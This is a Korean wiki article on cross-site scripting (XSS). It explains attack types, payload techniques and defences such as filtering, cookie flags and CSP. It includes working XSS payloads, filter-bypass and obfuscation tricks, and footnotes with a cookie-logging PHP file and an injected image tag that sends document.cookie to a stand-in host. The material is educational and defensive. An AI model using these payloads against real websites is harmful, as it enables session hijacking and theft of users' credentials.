나무모에 미러 (일반/어두운 화면)
최근 수정 시각 : 2024-03-22 00:12:06

XSS


파일:나무위키+유도.png  
은(는) 여기로 연결됩니다.
9세대 게임기에 대한 내용은 Xbox Series S 문서
번 문단을
부분을
, 에 대한 내용은 문서
번 문단을
번 문단을
부분을
부분을
, 에 대한 내용은 문서
번 문단을
번 문단을
부분을
부분을
, 에 대한 내용은 문서
번 문단을
번 문단을
부분을
부분을
, 에 대한 내용은 문서
번 문단을
번 문단을
부분을
부분을
, 에 대한 내용은 문서
번 문단을
번 문단을
부분을
부분을
, 에 대한 내용은 문서
번 문단을
번 문단을
부분을
부분을
, 에 대한 내용은 문서
번 문단을
번 문단을
부분을
부분을
, 에 대한 내용은 문서
번 문단을
번 문단을
부분을
부분을
, 에 대한 내용은 문서
번 문단을
번 문단을
부분을
부분을
참고하십시오.
1. 개요2. 예시3. 기법
3.1. 스크립트 태그3.2. 자바스크립트 링크3.3. 이벤트 속성3.4. 블랙리스트 우회3.5. 내용 난독화3.6. 스크립트 난독화
4. 방어 방법
4.1. 입력 필터
4.1.1. 필터 제작
4.1.1.1. 라이브러리 제작4.1.1.2. 라이브러리 이용4.1.1.3. BBCode 사용
4.2. 출력 필터4.3. 쿠키의 보안 옵션 사용4.4. 콘텐츠 보안 정책 (Content Security Policy, CSP) 사용
5. 기타6. 관련 문서

1. 개요

Cross-site Scripting.[1]

SQL injection과 함께 웹 상에서 가장 기초적인 취약점 공격 방법의 일종으로, 악의적인 사용자가 공격하려는 사이트에 스크립트를 넣는 기법을 말한다. 공격에 성공하면 사이트에 접속한 사용자는 삽입된 코드를 실행하게 되며,[2] 보통 의도치 않은 행동을 수행시키거나 쿠키나 세션 토큰 등의 민감한 정보를 탈취한다.

공격 방법에 따라 Stored XSS와 Reflected XSS로 나뉜다. Stored XSS는 사이트 게시판이나 댓글, 닉네임 등 스크립트가 서버에 저장되어 실행되는 방식이고, Reflected XSS는 보통 URL 파라미터(특히 GET 방식)에 스크립트를 넣어 서버에 저장하지 않고 그 즉시 스크립트를 만드는 방식이다. 후술된 내용 대부분은 Stored XSS라고 생각하면 된다. Reflected XSS의 경우 브라우저 자체에서 차단하는 경우가 많아 상대적으로 공격을 성공시키기 어렵다.

크로스 사이트 스크립팅이란 이름 답게, 자바스크립트를 사용하여 공격하는 경우가 많다. 공격 방법이 단순하고 가장 기초적이지만, 많은 웹사이트들이 XSS에 대한 방어 조치를 해두지 않아 공격을 받는 경우가 많다. 여러 사용자가 접근 가능한 게시판 등에 코드를 삽입하는 경우도 많으며, 경우에 따라서는 메일과 같은 매체를 통해서도 전파된다. 심지어는 닉네임에 코드를 심기도 한다.

물론, HTML을 사용하는 것이기 때문에, Text-Only 게시판이나, BBCode를 이용하는 위키위키 등에서는 XSS가 발생할 일은 없다. 단, 나무위키의 경우 {{{#!html HTML}}} 을 이용해서 HTML 태그를 사용할 수 있으므로 취약점이 있을 수도 있다. 나무위키 초반에는 스크립트 태그와 이벤트 속성도 막지 않았으나 이는 모두 수정되었다.

주로 CSRF를 하기 위해서 사용되기 때문에 종종 CSRF와 혼동되는 경우가 있으나, XSS는 자바스크립트를 실행시키는 것이고, CSRF는 특정한 행동을 시키는 것이므로 다르다.

2. 예시

해커의 홈페이지에 PHP 파일을 만들고,[3] 공격할 사이트에 스크립트를 심은 뒤,[4] 사용자가 스크립트가 심어진 페이지를 볼 경우, 쿠키값이 해커의 홈페이지로 넘어가서 세션 하이재킹이 가능해진다.

3. 기법

아래는 한국에서 가장 많이 사용되는 IE 기준으로 작성한 것이다. 따라서 크롬, 파이어폭스 등의 브라우저나 최신 브라우저 환경에서는 더 이상 작동하지 않는다.
실험은 이곳에서 해보자.

3.1. 스크립트 태그

방법 스크립트 태그로 자바스크립트를 실행한다.
예제 alert('XSS');</script>
설명 스크립트 태그의 스크립트를 실행시킨다. 안타깝게도, 매우 정직한 방법이라 대부분의 사이트에서 막는 경우가 많다. 브라우저단에서 필터링 해주는 경우도 있다. 물론 예외도 있다.[5] 하지만 만들어진지 몇십 년 이상 되었거나, 보안 X까! 하면서 막지도 않는 경우도 있다. 애초에 비밀번호를 평문/MD5로 저장하는 경우도 있는데 새삼스럽게... [6]

3.2. 자바스크립트 링크

방법 링크 태그로 자바스크립트를 실행한다.
예제 <a href="javascript:alert('XSS')">XSS</a>
설명 브라우저에서 about: 링크와 같이, javascript: 로 시작하는 링크는 스크립트를 실행시킨다. 스크립트 태그와 같이, javascript: 를 필터링하는 경우가 많아 많은 사이트에서 막는다.

3.3. 이벤트 속성

방법 이벤트 속성을 사용한다.
예제 <img src="#" onerror="alert('XSS')">
설명 이벤트 속성으로 스크립트를 실행할 수 있다. 주로 on 으로 시작하는 속성이 이벤트 속성이다. 자주 사용되는 이벤트 속성으로는 onload onerror onclick 등이 있다. 물론, 이 방법 역시 '자바스크립트 링크' 방법만큼 많이 막혔다.

3.4. 블랙리스트 우회

방법 알려지지 않은 태그와 속성들을 사용한다.
예제 <ruby oncopy="alert('XSS')">XSS</ruby>
설명 블랙 리스트 방식으로 막는 사이트에 사용할 수 있다. 이벤트 속성 목록을 참고하자. 위의 방법들보다는 적게 막혔으나, 여전히 최근 웹사이트들에선 화이트리스트 방식 차단이 대부분이라, 막혔을 가능성이 높다.

3.5. 내용 난독화

방법 따옴표로 감싸는 문자열 사이에 공백 문자들을 넣고, HTML 인코드를 하여 난독화한다.
예제 <a href="&#x6A;&#x61;&#x76;&#x61;&#x73;&#xA;&#x63;&#x72;&#x69;&#x70;&#x74;&#xA;&#x3A;&#xA;&#x61;&#x6C;&#x65;&#x72;&#x74;&#xA;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;">XSS</a>
설명 일부 브라우저에서 javascript: 링크 사이에 공백 문자가 들어갈 수 있고, HTML 인코드를 해도 디코드된 내용이 출력된다는 점을 이용한다. 여기에서는 '자바스크립트 링크' 방법과 사용하였지만, 당연히 다른 방법과 함께 사용할 수 있다.

3.6. 스크립트 난독화

방법 aaaencode에서 자바스크립트 난독화.
예제
[ 예제 펼치기 · 접기 ]
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(o゚ー゚o)+ (゚Д゚) ['c']+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(o゚ー゚o)+ (゚Д゚) .゚Θ゚ノ+ ((゚ー゚) + (o^_^o))+ (゚Д゚) [゚Θ゚]+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(o゚ー゚o)+ (゚Д゚) ['c']+ ((o^_^o) - (゚Θ゚))+ (゚Д゚) .゚ー゚ノ+ (゚Д゚) .゚ー゚ノ+ (゚Д゚)[゚ε゚]+(o゚ー゚o)+ (゚Д゚) ['c']+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚) ['c']+ (゚Д゚)[゚ε゚]+(o゚ー゚o)+ (゚Д゚) .゚Θ゚ノ+ ((゚ー゚) + (゚ー゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚) ['c']+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(o゚ー゚o)+ (゚Д゚) ['c']+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(o゚ー゚o)+ (゚Д゚) .゚Θ゚ノ+ (o^_^o)+ (゚Д゚) .゚ー゚ノ+ ((゚ー゚) + (゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(o゚ー゚o)+ (゚Д゚) .゚Θ゚ノ+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚) ['c']+ (゚Д゚)[゚ε゚]+(o゚ー゚o)+ (゚Д゚) .゚Θ゚ノ+ ((o^_^o) - (゚Θ゚))+ (゚Д゚) .゚Д゚ノ+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
설명 스크립트를 일본어를 사용한 이모티콘들로 난독화한다.[7] 스크립트 실행은 가능하지만, document.cookie와 같은 단어를 막을 경우 사용하면 된다.

4. 방어 방법

XSS는 데이터를 입력할 때와 출력할 때, 모두 필터링하고, 클라이언트에도 막을 수 있을만한 수단을 구성해놓는 것이 좋다. 보안은 한없이 덧대도 끝이 없고, 아래 서술한 방식으로 구성해도 기어코 뚫어버리는 사람들이 존재하기 때문이다.

4.1. 입력 필터

자바는 적당한 XSS 필터를 만든 뒤, web.xml에 선언하여 모든 파라미터가 해당 필터를 거치도록 하는 것만으로도 좋은 효과를 볼 수 있다.

PHP는 입력을 처리할 때, 정규식을 이용하는 preg_replace를 사용하거나, 노드를 이용하는 DOMDocument를 사용할 수 있다. 속도는 preg_replace가 더 빠르지만, 정규식의 경우 예외와 오류가 종종 발생하기 때문에, 더 안전한 DOMDocument를 사용하는 것이 권장된다.[8]

4.1.1. 필터 제작

단순히 텍스트만 입력시키거나 출력하는 데 필터를 제작할 때, 주로 필터되는 것이 <와 >이다. 각각 &lt;&gt; 처럼 HTML 문자로 바꾸어서 HTML 코드가 아닌 단순 문자로 인식하게 하는 것이다. 하지만, 이 경우는 모든 HTML 태그를 막아버리기 때문에, 각종 스타일을 적용시켜야하는 사이트에서는 맞지 않을 수도 있다.
4.1.1.1. 라이브러리 제작
각종 스타일을 적용시켜 글을 꾸며야 하는 사이트의 경우, 스크립트 태그와 이벤트 속성, javascript: 링크만 제대로 막아주어도 상당수를 막을 수 있을 것이다. 하지만, EMBED 태그를 이용하여 저런 기법을 사용하지 않고도 XSS를 먹이는 경우가 있으므로, 다른 것들도 모두 막아주어야 한다.
이 때, 일부 태그 및 속성만 막기 보다는, 반대로 일부 태그 및 속성만 허용하게 하는 것이 좋다. 몇몇 태그만 막는다면 HTML 태그나 속성이 추가될 수록 주기적으로 필터를 수정해줘야 하는데, 이럴 경우 HTML 표준을 주기적으로 꼼꼼히 챙겨보지 않는 한은[9], 업데이트를 하는 사이에 이미 해커가 침투해놓고 유유자적하게 빠져나갔을 수도 있다.
4.1.1.2. 라이브러리 이용
기존에 있던 라이브러리를 가져다 사용해도 좋다. 개인이나 소규모 단체가 만든 것 보다는, 전문적인 보안 업체나 거대 기업에서 만든 것이 공신력있고 편하기 때문이다. 사용할만한 것으로는 OWASP Antisamy이나 NAVER Lucy XSS Filter, ESAPI 등을 이용하는 방법이 있다.
4.1.1.3. BBCode 사용
글을 꾸며야 하지만, 따로 필터를 만들긴 어려운 경우, BBCode를 사용할 수도 있다.[10] 대부분의 위키에서[11]도 이 방법을 사용하기도 하니, 지금 이 글을 보고 있는 당신이라면 상당히 익숙할 수도 있겠다, 만들기도 다른 방법에 비해 편하고, 안전성도 높은 편이기 때문에 가장 추천되는 방법이다. 또한 <나 >같은 HTML 코드를 단순 문자로 바꿀 수 있기 때문에 XSS가 실행될 염려가 적다. 하지만 이때, 정규식과 같이 단순히 문자열 치환으로 수정할 경우, XSS가 발생할 수도 있다.

4.2. 출력 필터

HTML5부터 iframe의 sandbox 옵션으로 iframe 내의 자바스크립트, 폼과 같은 것의 제한이 가능해졌으므로, 위의 방법을 실행한 뒤 2차적으로 써보는 것도 좋다. 단, 어디까지나 2차로만 사용하는 것이 좋다. 구버전의 웹 브라우저라면 호환이 되지 않아 스크립트가 그대로 실행되거나, 설령 그게 아니더라도 웹 브라우저에서 취약점이 발견될 경우, 이런 방법이 뚫릴 수 있기 때문이다.

iframe은 단순히 다른 웹사이트를 불러오는 것만이 아니라, 부모 창에서 마음대로 수정할 수 있기 때문에, 무식하게 다른 페이지를 불러오며 AJAX나 PJAX 등을 포기하며 사용하지 말자. 물론, 기존부터 라이브러리를 사용하지 않고 웹 페이지를 개발하는 사람변태은 물론이고, jQuery같은 라이브러리를 사용하는 사람들도 조금만 검색해보면 간단하게 iframe의 내용을 수정할 수 있는 방법이 나오니 도전해 보도록 하자.

4.3. 쿠키의 보안 옵션 사용

쿠키 생성시 '보안 쿠키'라는 파라미터를 지정하면 TLS 상에서만 사용하게 할 수 있으며, 'HTTP ONLY'라는 파라미터로 웹 브라우저상에서만 쓸 수 있게 할 수도 있다. 물론 완전히 방어가능한 건 아니니[12] 위의 해결법과 병행하는 것이 좋다.

4.4. 콘텐츠 보안 정책 (Content Security Policy, CSP) 사용

스크립트 실행에 대한 정책(조건)을 설정해 알 수 없는 스크립트가 실행되는 것을 예방할 수 있다. 원래는 외부 서버의 스크립트 파일이 script 태그나 iframe 등 사이트에 로드가 되면 스크립트가 실행되지만, CSP를 설정해 출처가 자기 서버인 스크립트만 실행되도록 할 수 있다. 물론 이는 어디까지나 완전 방어가 아닌 예방의 차원이라는 것을 알아둬야 한다.

5. 기타

위 방법들과는 별개로 일반 사용자가 스크립트를 잘 알지 못하는 것을 악용하여, 사용자가 브라우저 콘솔에 악성 스크립트를 삽입해 실행되도록 속이기도 하는데, 이를 스스로 하는 XSS라는 뜻의 Self XSS라고 부른다. 이는 사용자가 스스로 실행한 것이니만큼 위 방어 방법으론 막기 어려우니, 잘 알지 못하는 스크립트 등은 절대로 실행해서는 안 된다.[13]

OWASP에서 XSS 공격을 방지하는 7계명을 발표하기도 했다. 역시 0부터 세는 공돌이
0. 허용된 위치가 아닌 곳에 신뢰할 수 없는 데이터가 들어가는것을 허용하지 않는다.
1. 신뢰할 수 없는 데이터는 검증을 하여라.
2. HTML 속성에 신뢰할 수 없는 데이터가 들어갈 수 없도록 하여라.
3. 자바스크립트에 신뢰할 수 없는 값이 들어갈 수 없도록 하여라.
4. CSS의 모든 신뢰할 수 없는 값에 대해서 검증하여라.
5. URL 파라미터에 신뢰할 수 없는 값이 있는지 검증하여라.
6. HTML 코드를 전체적으로 한번 더 검증하여라.

파이어폭스 버그질라

6. 관련 문서


[1] 줄이면 CSS인데 Cascading Style Sheet와 혼동이 올 수 있어서 XSS라고 부르는 것이다.[2] 사용자 입장에서는 삽입된 코드가 원래부터 존재하는 코드인지 아닌지 분간 할 수 없다.[3] 예시에서는 Cookie.php라는 이름의 PHP 파일을 생성한다. 코드 - <? fwrite(fopen("XSS.txt","a+"), $_GET['cookie']); ?>[4] 예시에서는 hack.er라는 이름의 사이트를 기준으로 한다. 코드 - <img src="#" onerror="location.href('http://hack.er/Cookie.php?cookie=' + document.cookie);">[5] 모르는 분들을 위하여 설명해 주자면 트윗을 보면 강제로 이 게시물을 리트윗하고 그걸 알리는 경고창을 띄우는 코드로, 작동했었다. 이후 패치되어 막혔다.[6] alert안에 코드가 아니라 문구를 넣으면 단순하게 문구가 출력된다. 흔히 성인 사이트의 광고를 잘못눌러 들어가면 팝업으로 뜨는 발X부전 치료제! 구매하세요 그런 비슷한거라고 생각하면 된다.[7] 기존에는 JSFuck이 사용되었지만, 제작자의 말로, 오류가 나서 더이상 사용하지 못한다고 한다. 본 스크립트도 애당초 JSFuck과 유사한 방식의 난독화이다.[8] 하지만, 사람에 따라서 정규식을 사용하는 것이 개발하기 더 편한 경우가 있다. 하지만, 그렇다고 함부로 대충 정규식을 만들어서 사용했다가 뼛속까지 털리는 수가 있다.[9] 설령 그렇다 하더라도 비표준 태그가 있어서 웹 브라우저마다 호환이 안 될 수도 있다.[10] 주로 <와 >를 대체하여서, []를 사용하여 만든다.[11] 위키백과, 나무위키와 같은 위키들도 모두 BBCode를 사용한다고 할 수 있다.[12] 특히 Let's Encrypt 같은 TLS 인증서 생성 솔루션으로 공격자가 참 쉽게 TLS 환경을 구축할 수 있다.[13] 이 때문에 파이어폭스 등 일부 브라우저는 콘솔에 붙여넣기 시 경고후 확인을 거쳐야 붙여 넣을 수 있다. 또 크롬의 경우 javascript:로 시작하는 문자열을 붙여넣을 경우 맨 앞의 javascript:가 빠진다. 그래서 일부 사이트의 경우 스크립트 복사 버튼을 누르면 avascript:로 시작하는 문자열이 복사되게 설정하고 j자를 직접 입력한 후 붙여넣으라는 설명을 하기도 한다.